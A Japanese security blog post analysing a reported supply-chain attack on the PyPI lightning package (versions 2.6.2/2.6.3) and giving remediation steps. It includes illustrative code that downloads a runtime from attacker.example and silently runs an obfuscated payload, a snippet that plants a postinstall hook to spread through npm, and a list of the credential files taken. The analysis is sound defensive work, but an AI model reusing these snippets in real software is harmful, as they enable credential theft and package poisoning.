SJ blog
security
A

信頼度ランク

S 公式ソース確認済み
A 成功実績多数・失敗例少数
B 賛否両論
C 動作未確認・セキュリティリスク高
Z 個人所感

PyTorch Lightning 2.6.2/2.6.3のサプライチェーン攻撃——「Mini Shai-Hulud」がML開発者の認証情報を狙う仕組みと対策

2026年4月30日、PyPI上のPyTorch Lightning v2.6.2/2.6.3が悪意あるコードに汚染された。インポート時に自動実行し、SSH鍵・クラウド認証情報・GitHubトークンを窃取。42分で修正されたその仕組みと、ML開発者が取るべき対策を解説する。

一言結論

PyTorch Lightning 2.6.2/2.6.3はインポート時に自動実行するマルウェアを含み、SSH鍵・AWS/GCP/Azure認証情報・GitHubトークン・npm トークン・暗号資産ウォレットを窃取しBun+JavaScriptペイロードで攻撃者のGitHubリポジトリへ送信する。安全なバージョンは2.6.1。依存ロックファイルのピン止めと、CI環境でのlightning再インストール確認が最優先事項だ。

何が起きたか

2026年4月30日、PyPI上の lightning パッケージ(PyTorch Lightningの配布名)のバージョン 2.6.22.6.3 に悪意あるコードが混入した。このキャンペーンは以前SAPのnpmパッケージを標的にした「Mini Shai-Hulud」攻撃の延長線上にある。

Socket社のAIスキャナーが公開後わずか18分でフラグを立て、PyTorch Lightningコミュニティが42分で修正を完了、PyPIが当該バージョンを隔離するまでの間に多数の開発者が感染リスクにさらされた。

タイムライン(UTC、2026-04-30)
├─ 10:14  v2.6.2 がPyPIに公開
├─ 10:32  Socketのスキャナーが異常を検出(+18分)
├─ 10:56  lightningコミュニティが対応完了(+42分)
└─ 11:20  PyPIが2.6.2/2.6.3を隔離

攻撃の仕組み

感染経路:インポートするだけで発火

最も危険な点は、インストール後に import lightning するだけで自動実行されることだ。ユーザーが明示的に悪意あるファイルを呼び出す必要はない。

悪意あるパッケージには隠し _runtime/ ディレクトリが存在し、以下の2段階で実行される。

lightning/
├─ __init__.py          ← 通常のコード + バックドア呼び出し
└─ _runtime/            ← 隠しディレクトリ
   ├─ start.py          ← ダウンローダー
   └─ payload.js.enc    ← 11MBの難読化ペイロード
# import lightning した瞬間に _runtime/start.py が起動する
# start.py の概念的な動作(実際のコードは難読化済み)

import subprocess, platform, tempfile, urllib.request

# 1. Bun JavaScript ランタイムをダウンロード
bun_url = "https://attacker.example/bun-{platform}"
bun_path = tempfile.mktemp()
urllib.request.urlretrieve(bun_url, bun_path)

# 2. 11MBの難読化ペイロードをBunで実行
subprocess.Popen([bun_path, "_runtime/payload.js.enc"],
                 stdout=subprocess.DEVNULL,
                 stderr=subprocess.DEVNULL)

窃取する情報

ペイロードは開発者マシン・CIランナー・クラウド接続環境から以下の情報を収集する。

カテゴリ対象
SSH~/.ssh/id_*, ~/.ssh/known_hosts
シェル履歴~/.bash_history, ~/.zsh_history
クラウド認証~/.aws/credentials, ~/.gcloud/, ~/.azure/
コード~/.gitconfig, GITHUB_TOKEN 環境変数
npm~/.npmrc(npm publish トークン含む)
暗号資産MetaMask、Phantom などのウォレット設定

データ送信と拡散

窃取した情報は攻撃者管理のGitHubリポジトリへexfiltrateされる。さらに、開発者のローカルnpmパッケージに対して以下の汚染を実行する。

// npmパッケージ拡散コード(概念)
// ローカルのpackage.jsonにpostinstallフックを追加し
// パッチバージョンを1上げてtarballを再パック
// → 被害者が npm publish するとnpyも汚染される

const pkg = JSON.parse(fs.readFileSync('package.json'));
pkg.scripts.postinstall = "node -e 'require(\"_rt\")'";
pkg.version = bumpPatch(pkg.version);  // 例: 1.2.3 → 1.2.4
repackTarball(pkg);

この二次拡散メカニズムにより、感染した開発者が意図せずnpmパッケージを汚染して公開してしまうリスクがある。


影響範囲の確認方法

まず、自分の環境がどのバージョンを使っているか確認する。

# インストール済みバージョンを確認
pip show lightning | grep Version

# または
python -c "import lightning; print(lightning.__version__)"
# ❌ 危険なバージョン
Version: 2.6.2
Version: 2.6.3

# ✅ 安全なバージョン
Version: 2.6.1  # または 2.6.4以降(修正済みリリース後)

プロジェクトのロックファイルも確認する。

# requirements.txt / requirements.lock
grep "lightning" requirements*.txt

# pip-compile を使っている場合
grep "lightning" requirements.lock

# pyproject.toml (poetry)
grep "lightning" poetry.lock

対処手順

1. 即時:バージョンをピン止めしてダウングレード

# 汚染バージョンをアンインストールして安全なバージョンに戻す
pip uninstall lightning -y
pip install "lightning==2.6.1"

# requirements.txt を固定
echo "lightning==2.6.1" >> requirements.txt
# pyproject.toml (Poetry)
[tool.poetry.dependencies]
lightning = "2.6.1"   # ❌ "^2.6" ではなく完全固定

2. 認証情報のローテーション

感染の疑いがある場合、以下の認証情報をすべてローテーションする。

# AWS認証情報
aws iam create-access-key
aws iam delete-access-key --access-key-id <旧ID>

# GitHubトークン(Settings → Developer Settings → Personal access tokens)
# npmトークン(npmjs.com → Access Tokens → Delete & Regenerate)
# SSHキー(~/.ssh/id_* を再生成して authorized_keys を更新)

3. CI/CDパイプラインの監査

CI環境でlightningをインストールしているワークフローを確認し、いつ・どのバージョンがインストールされたかを確認する。

# GitHub Actions: バージョンを明示的に固定する
- name: Install dependencies
  run: |
    pip install "lightning==2.6.1"  # ✅ バージョン固定
    # pip install lightning          # ❌ 最新を取ってくる

# または hash 検証を追加
- name: Install with hash verification
  run: |
    pip install --require-hashes -r requirements.lock

根本原因と教訓

今回の攻撃はプロジェクトのGitHubアカウントが侵害されたことで発生したと推定されている(詳細は調査中)。

悪意あるコードの特徴として、_runtime/ディレクトリがPyPI パッケージには含まれていたが、GitHubのソースコードには存在しなかった。つまりソースを見ても気づけない点が巧妙だ。

# GitHubのソースとPyPIパッケージの差分を確認する方法
pip download lightning==2.6.2 --no-deps -d /tmp/lightning_pkg
cd /tmp/lightning_pkg
tar xf lightning-2.6.2.tar.gz
find . -name "_runtime" -type d  # 悪意あるディレクトリが見つかるはず

ML開発者が今すぐ実施すべき対策

  1. 依存ロックファイルを必ず使うrequirements.lock または poetry.lock でハッシュまで固定
  2. pip install --require-hashes を CI で強制する
  3. Socketなどのサプライチェーン監視ツールを導入する
  4. 環境変数にシークレットを直接置かない — AWS Secrets Manager/Vault を使う
  5. 最小権限の原則 — CI の IAM ロールは read-only を基本とする

参考リンク

注記: 攻撃の一部(GitHubアカウント侵害の詳細経路、最終感染者数)は本稿執筆時点で調査中。公式アドバイザリが更新次第、内容を追記する予定。